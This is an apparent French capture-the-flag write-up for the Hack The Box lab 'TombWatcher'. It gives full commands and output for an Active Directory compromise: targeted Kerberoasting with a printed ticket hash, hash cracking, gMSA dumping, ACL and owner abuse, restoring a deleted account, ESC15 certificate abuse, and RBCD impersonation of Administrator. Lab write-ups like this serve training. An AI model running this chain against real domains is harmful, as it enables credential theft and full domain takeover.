< BACK TO TERMINAL
TombWatcher icon

TombWatcher

Introduction

Un utilisateur associé à son mot de passe est donné par défaut pour cette machine :

Utilisateur Mot de passe
henry H3nry_987TGV!

Enumération

Nmap

Scan TCP

nmap -p- -sV 10.129.237.191
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-15 17:25:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
49746/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Scan UDP

nmap -p- -sU 10.129.237.191
PORT      STATE SERVICE       VERSION
53/udp	open  domain
88/udp	open  kerberos-sec
123/udp	open  ntp
389/udp	open  ldap

Ajout d'un serveur de résolution de noms

nano /etc/resolv.conf
nameserver 10.129.237.191
nameserver 1.1.1.1
nameserver 8.8.8.8

Synchroniser l'horloge

Pour utiliser Kerberos, l'horloge de la machine attaquante doit être synchronisée avec celle du serveur AD. Sans cela, l'erreur KRB_AP_ERR_SKEW(Clock skew too great) peut apparaître.

apt install rdate && rdate -n dc01.tombwatcher.htb
bloodhound-python -dc dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -c ALL
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 02S

Foothold

Le foothold est assez simple : il suffit de suivre la chaîne indiquée dans BloodHound pour atteindre l'utilisateur John, qui peut se connecter en WinRM à DC01.

Foothold — diagram

Il est possible que les manipulations doivent être faites plusieurs fois dans les instances publiques pour certaines étapes. En raison de la modification de mots de passe par d'autres utilisateurs.

writeSPN

Notre utilisateur ayant le droit de modifier le SPN de l'utilisateur alfred (writeSPN), il est possible d'utiliser l'outil Python targetedKerberoast pour effectuer une attaque Kerberoast sur l'utilisateur alfred.

./targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' --request-user 'alfred'
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$29ee617da58cebf4735743b236a724c0$7e432e0cefe377176197d5a4bf86ec0eb55298a5e0f5700a4d49adca4b55de88afdf23991ca78853c871bb45ec30049faeccb478fab6f1ad198ddd3894173bc0a463cb78105cdf6f902a4fbf6adec0e2eb8d2c10317393ad4034605c1ce5af9ffbdae653ee0b820d7b1bd57eeca7b01d50a7e5db64f99c1b56e2332d16fcf91256fa8bd615109146a2c1726cd18443a74124109faab85af6f54b1004038d1b8958a676e612ff09d4519df83d14c52605afb262d59c0176299128abbe42a62dad0977562b041b3372ab01279779f216f477bcecdbe14e5e8a8c9bb29363b96f86abd196c0ee93e000c6bce37653f0200b1aa9975173f83796449a3559dcdf534cf06937af74cba0a951f32620af838e7d66a00b2db8fd82d7b7f5d051abd00749e4859d470ae9228a21dc8a4e14336d057762bb1d8135c5154c7b50b5a724290bfb8a5ca393ed7275ccd98db277b75e35f4f975575e90c9fdf73af3bf46b2f4f9f684920d1e1e41c264dbcad3ee211cc8ff9e4737867a773e2546514d449cdfdbfe548ad134ca54c89ba71fe110c068ecb40ecaded08a3a5626289c3c353fb3ea5ba2c711970fd5658f2b1979e041c8f61cb48cc7d3597be7e405d725eace641479c44483daa7baaef8a8081e8ea54886fe0c35937f0684825376e0869744b19421a2d899df9d779b7ea4af91dba1808e74cb591ba746b0bb380b12ae7fb765d834067966c2d2a96720b0f50b4268d99f760665fe00a733e3f15f608958f28cede9562463b4275d379382d24eca8177477df2616a6b320a8c091c49342504560c198fda6c345b682202d9a937953b12730224e5725d76866dda8149b56de107d2e4ceacc568b7a778eba43d214c4c17a087eefd82061f4a4f056bed5b7b35b0e480177e3bc7534b4fc9c47e7581cc4d09d5d0fd5139b192927538809c99f8c7409ed5edeaed305d2a2d6e5408546ea743e8ea7b145f5d2308929de04f812fb64c0a18e5ea650cbfcaba731302f3859879ca9c4fa7499e63cfdbe06390f0e9e3ec1b09eb1c336c38468075b562d850e528f17fc8cde8c7d8ada45dcd625a86360bcb2cd956582bc89c5916667a712fad7f9605353ac0278353c597ae9b8a9e3e23fae7483d471292b3655e7d3eff7d0624141b3a75b4a31126d0430e134c16ca51614ea83737d076607ab7d03d58488f17ed20c24cb715515a6a8e3e476b90fd97996b594ce91775c7453bfb43158572d79ee9b5c4b69a65c7d57bd34fe7ca97de267662e9cdff22dc87556c62da6fb175818373b0ecc5e653fa6ae5c18390f7377139164a564fe8a3feea6f28abfc8639acba091b440f1c0cfcc7ccc47904e0e9fb0c8f18decbdb13b54405f535367d6bdf3652b6034af3c776573c53b01e5c5ee2285e5c91323512bf42158c878c8c43f4ced478c2991839b85ca64cc2a925ee24469e5c826998b118ef7fb897d9e70a924a144e43
[VERBOSE] SPN removed successfully for (Alfred)

Brute-force

Avant d'utiliser la technique du pass-the-hash, essayons de brute-forcer le hash obtenu pour retrouver le mot de passe en clair.

hashcat '$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$29ee617da58cebf4735743b236a724c0$7e432e0cefe377176197d5a4bf86ec0eb55298a5e0f5700a4d49adca4b55de88afdf23991ca78853c871bb45ec30049faeccb478fab6f1ad198ddd3894173bc0a463cb78105cdf6f902a4fbf6adec0e2eb8d2c10317393ad4034605c1ce5af9ffbdae653ee0b820d7b1bd57eeca7b01d50a7e5db64f99c1b56e2332d16fcf91256fa8bd615109146a2c1726cd18443a74124109faab85af6f54b1004038d1b8958a676e612ff09d4519df83d14c52605afb262d59c0176299128abbe42a62dad0977562b041b3372ab01279779f216f477bcecdbe14e5e8a8c9bb29363b96f86abd196c0ee93e000c6bce37653f0200b1aa9975173f83796449a3559dcdf534cf06937af74cba0a951f32620af838e7d66a00b2db8fd82d7b7f5d051abd00749e4859d470ae9228a21dc8a4e14336d057762bb1d8135c5154c7b50b5a724290bfb8a5ca393ed7275ccd98db277b75e35f4f975575e90c9fdf73af3bf46b2f4f9f684920d1e1e41c264dbcad3ee211cc8ff9e4737867a773e2546514d449cdfdbfe548ad134ca54c89ba71fe110c068ecb40ecaded08a3a5626289c3c353fb3ea5ba2c711970fd5658f2b1979e041c8f61cb48cc7d3597be7e405d725eace641479c44483daa7baaef8a8081e8ea54886fe0c35937f0684825376e0869744b19421a2d899df9d779b7ea4af91dba1808e74cb591ba746b0bb380b12ae7fb765d834067966c2d2a96720b0f50b4268d99f760665fe00a733e3f15f608958f28cede9562463b4275d379382d24eca8177477df2616a6b320a8c091c49342504560c198fda6c345b682202d9a937953b12730224e5725d76866dda8149b56de107d2e4ceacc568b7a778eba43d214c4c17a087eefd82061f4a4f056bed5b7b35b0e480177e3bc7534b4fc9c47e7581cc4d09d5d0fd5139b192927538809c99f8c7409ed5edeaed305d2a2d6e5408546ea743e8ea7b145f5d2308929de04f812fb64c0a18e5ea650cbfcaba731302f3859879ca9c4fa7499e63cfdbe06390f0e9e3ec1b09eb1c336c38468075b562d850e528f17fc8cde8c7d8ada45dcd625a86360bcb2cd956582bc89c5916667a712fad7f9605353ac0278353c597ae9b8a9e3e23fae7483d471292b3655e7d3eff7d0624141b3a75b4a31126d0430e134c16ca51614ea83737d076607ab7d03d58488f17ed20c24cb715515a6a8e3e476b90fd97996b594ce91775c7453bfb43158572d79ee9b5c4b69a65c7d57bd34fe7ca97de267662e9cdff22dc87556c62da6fb175818373b0ecc5e653fa6ae5c18390f7377139164a564fe8a3feea6f28abfc8639acba091b440f1c0cfcc7ccc47904e0e9fb0c8f18decbdb13b54405f535367d6bdf3652b6034af3c776573c53b01e5c5ee2285e5c91323512bf42158c878c8c43f4ced478c2991839b85ca64cc2a925ee24469e5c826998b118ef7fb897d9e70a924a144e43'

AddSelf

Une fois le mot de passe en clair trouvé, il est possible d'ajouter l'utilisateur alfred au groupe infrastructure (permission AddSelf).

bloodyAD --host "10.129.237.191" -d "tombwatcher.htb" -u "alfred" -p "basketball" add groupMember "Infrastructure" "alfred"
[+] alfred added to Infrastructure

ReadGMSAPassword

Le compte ansible_dev$ étant un compte MSA (Managed Service Account), il est possible que des ordinateurs ou utilisateurs autorisés récupèrent son hash.

Dans notre cas, tous les membres du groupe infrastructure sont autorisés à récupérer son hash. L'outil gMSADumper permet cela.

./gMSADumper.py -u 'alfred' -p 'basketball' -d 'tombwatcher.htb' -l 10.129.237.191
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::4b21348ca4a9edff9689cdf75cbda439
ansible_dev$:aes256-cts-hmac-sha1-96:499620251908efbd6972fd63ba7e385eb4ea2f0ea5127f0ab4ae3fd7811e600a
ansible_dev$:aes128-cts-hmac-sha1-96:230ccd9df374b5fad6a322c5d7410226

ForceChangePassword

L'utilisateur ansible_dev$ est autorisé à changer le mot de passe de l'utilisateur sam.

bloodyAD --host "10.129.237.191" -d "tombwatcher.htb" -u "ansible_dev$" -p :4b21348ca4a9edff9689cdf75cbda439 set password "sam" "Toor2025!"
[+] Password changed successfully!

WriteOwner

L'utilisateur sam est autorisé à définir le propriétaire de l'utilisateur john.

owneredit.py -action write -new-owner 'sam' -target 'john' 'tombwatcher.htb'/'sam':'Toor2025!'
[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!

Le propriétaire peut modifier les droits sur l'utilisateur de manière totale, nous pouvons donc donner des droits globaux sur celui-ci à notre utilisateur.

dacledit.py -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'tombwatcher.htb'/'sam':'Toor2025!'
[*] DACL backed up to dacledit-20250615-131210.bak
[*] DACL modified successfully!

Une fois les nouveaux droits définis, nous pouvons changer le mot de passe de John pour nous connecter en WinRM au DC01.

bloodyAD --host "10.129.237.191" -d "tombwatcher.htb" -u "sam" -p Toor2025! set password "john" "Toor2025!"
[+] Password changed successfully!

User flag

Se connecter à DC01 et récupérer le flag user.

evil-winrm -u john -p Toor2025! -i 10.129.237.191
gc ..\Desktop\user.txt

Élévation de privilèges

Nous allons maintenant énumérer les services AD CS (Certificate Services). Si des templates ou des configurations mal sécurisées sont présentes, alors leur exploitation est possible.

Installation de Certipy

Installer le package Python UV pour installer la dernière version de Certipy dans un environnement virtuel.

Cloner le dépôt contenant la dernière version :

git clone https://github.com/ly4k/Certipy.git && cd Certipy

Installer le package UV

pip install uv

Construire le paquet :

uv build

Afficher la version de Certipy

uv run certipy -v
Certipy v5.0.3 - by Oliver Lyak (ly4k)

Audit AD CS

uv run certipy find -u 'john@tombwatcher.htb' -p Toor2025! -dc-ip '10.129.237.191' -target 'DC01.TOMBWATCHER.HTB' -stdout

Après analyse, nous pouvons voir que le SID S-1-5-21-1392491010-1358638721-2126982587-1111 peut enrôler des certificats via le template WebServer.

  17
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111

Cependant, le SID associé n'est pas trouvé : cela indique probablement que l'objet a été supprimé.

Restauration de l'utilisateur

Essayons de trouver les objets supprimés.

get-adobject -searchbase "DC=TOMBWATCHER,DC=HTB" -filter * -properties * -IncludeDeletedObjects | where IsDeleted -eq True | select DistinguishedName,LastKnownParent,objectsid | fl

Nous trouvons donc 3 utilisateurs supprimés.

DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   :
objectsid         :

DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
objectsid         : S-1-5-21-1392491010-1358638721-2126982587-1109

DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
objectsid         : S-1-5-21-1392491010-1358638721-2126982587-1110

DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
objectsid         : S-1-5-21-1392491010-1358638721-2126982587-1111

En regardant la propriété LastKnownParent, il est possible de voir l'emplacement où l'objet a été initialement supprimé. Ici, c'est l'OU ADCS. Comme l'utilisateur John a des droits sur cette OU, il peut restaurer n'importe quel objet AD supprimé de celle-ci.

Restauration de l'utilisateur — diagram

Restaurons l'utilisateur correspondant au SID présent dans les ACL de la template.

restore-adobject "CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb"

Changement du mot de passe de l'utilisateur

Cependant l'utilisateur John n'a pas de droits complets sur les objets dans cette OU, il n'est donc pas possible de modifier directement le mot de passe de cet utilisateur. Pour cela il faut ajouter des droits hérités sur tous les enfants de l'OU.

dacledit.py -action 'write' -rights 'FullControl'  -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'tombwatcher.htb'/'john':'Toor2025!'

Maintenant que notre utilisateur a des droits illimités sur les objets présents dans cette OU, il est possible de modifier le mot de passe de l'utilisateur cert_admin fraîchement restauré.

bloodyAD --host "10.129.237.191" -d "tombwatcher.htb" -u "john" -p Toor2025! set password "cert_admin" "Toor2025!"
[+] Password changed successfully!

Une tâche automatique supprime cet utilisateur assez rapidement, il est possible de devoir le restaurer plusieurs fois.

Génération du certificat

Si une analyse avec Certipy est refaite avec cet utilisateur, alors nous pouvons voir que la vulnérabilité ESC15 (CVE-2024-49019) est affichée.

Générer un certificat avec la politique d'application appropriée.

uv run certipy req -ca tombwatcher-CA-1 -target-ip 10.129.237.191 -u 'cert_admin@tombwatcher.htb' -p 'Toor2025!' -template "WebServer" -upn "Administrator@tombwatcher.htb" -application-policies 'Client Authentication'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Ce certificat peut maintenant être utilisé pour s'authentifier en tant que l'utilisateur Administrator avec SChannel (PKINIT ne peut pas être utilisé pour obtenir le hash de l'administrateur, comme expliqué en détail dans ce blog).

Attaque RBCD (resource-based constrained delegation)

SChannel est utilisé par LDAPS, il est donc possible de s'y authentifier avec ce certificat. La commande certipy auth avec l'option ldap-shell ne fonctionnant pas à cause de bibliothèques ne supportant plus SHA-1 comme signature de certificat (erreur CA_MD_TOO_WEAK), j'ai donc utilisé l'outil C# PassTheCert directement sur la cible. D'autres méthodes sont possibles dans notre cas, ce n'est pas le seul moyen d'exploiter ce certificat.

La méthode utilisée est tirée du blog associé à l'outil PassTheCert ; il est consultable ici.

Sur la cible : Ajouter un nouvel ordinateur au domaine.

.\PassTheCert.exe --server localhost --cert-path .\administrator.pfx --add-computer --computer-name COMP$

Sur la cible : Ajouter le SID de l'ordinateur dans l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity du contrôleur de domaine. Cela permet à l'ordinateur créé d'usurper n'importe quel utilisateur du domaine.

.\PassTheCert.exe --server localhost --cert-path .\administrator.pfx --rbcd --target "CN=DC01,OU=DOMAIN CONTROLLERS,DC=TOMBWATCHER,DC=HTB" --sid "S-1-5-21-1392491010-1358638721-2126982587-8101"

Sur la machine attaquante : Effectuer une attaque RBCD et se faire passer pour l'utilisateur administrateur et récupérer son TGT.

getST.py -spn 'ldap/DC01.tombwatcher.htb/ForestDnsZones.tombwatcher.htb' -impersonate Administrator 'tombwatcher.htb/COMP$:fWjhaPFnyRS8GA0CF0LYtXgzA9nnrssZ'

Changer le nom du fichier de cache Kerberos pour le rendre utilisable.

mv Administrator@ldap@TOMBWATCHER.HTB.ccache Administrator.ccache

Exporter la variable indiquant l'emplacement du cache Kerberos.

export KRB5CCNAME=Administrator.ccache

Se connecter au DC en utilisant le TGT de l'administrateur.

wmiexec.py -k -no-pass tombwatcher.htb/administrator@dc01.tombwatcher.htb

Récupérer le flag root.

type C:\Users\administrator\Desktop\root.txt
← Previous writeupNext writeup →